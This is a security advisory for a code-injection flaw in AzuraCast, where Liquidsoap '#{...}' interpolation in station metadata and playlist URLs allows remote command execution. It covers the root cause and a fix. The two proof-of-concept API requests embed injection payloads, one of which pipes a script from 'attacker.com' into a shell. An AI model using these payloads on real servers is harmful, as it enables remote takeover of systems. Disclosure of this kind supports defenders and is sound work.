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Open-source package vulnerability · Composer (PHP)

GHSA-93fx-5qgc-wr38: AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

highCVSS 3.1 8.7

Summary AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file.

Published Mar 9, 2026

Affected packages

azuracast/azuracast

Ecosystem
Composer (PHP)
Affected
<= 0.23.3
Fixed in
0.23.4
Check
composer show azuracast/azuracast

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

public static function cleanUpString(?string $string): string
{
    return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

  • #{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
  • \ — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

| Field | Permission Required | Config Line |
| `playlist.remote_url` | `Media` | `input.http("...")` or `playlist("...")` |
| `station.name` | `Profile` | `name = "..."` |
| `station.description` | `Profile` | `description = "..."` |
| `station.genre` | `Profile` | `genre = "..."` |
| `station.url` | `Profile` | `url = "..."` |
| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := "..."` |
| `backend_config.dj_mount_point` | `Profile` | `input.harbor("...")` |

PoC 1: Via Remote Playlist URL (Media permission)

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>

{
    "name": "Malicious Remote",
    "source": "remote_url",
    "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
    "remote_type": "stream",
    "is_enabled": true
}

The generated liquidsoap.liq will contain:

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>

{
    "name": "My Station",
    "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

  • Normal station restart by any user with Broadcasting permission
  • System updates and maintenance
  • azuracast:radio:restart CLI command
  • Docker container restarts

Impact

  • Severity: Critical
  • Authentication: Required — any station-level user with Media or Profile permission
  • Impact: Full RCE on the AzuraCast server as the azuracast user
  • CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and \:

public static function cleanUpString(?string $string): string
{
    return str_replace(
        ['"', "\n", "\r", '\\', '#'],
        ['\'', '', '', '\\\\', '\\#'],
        $string ?? ''
    );
}

Credited to q1uf3ng.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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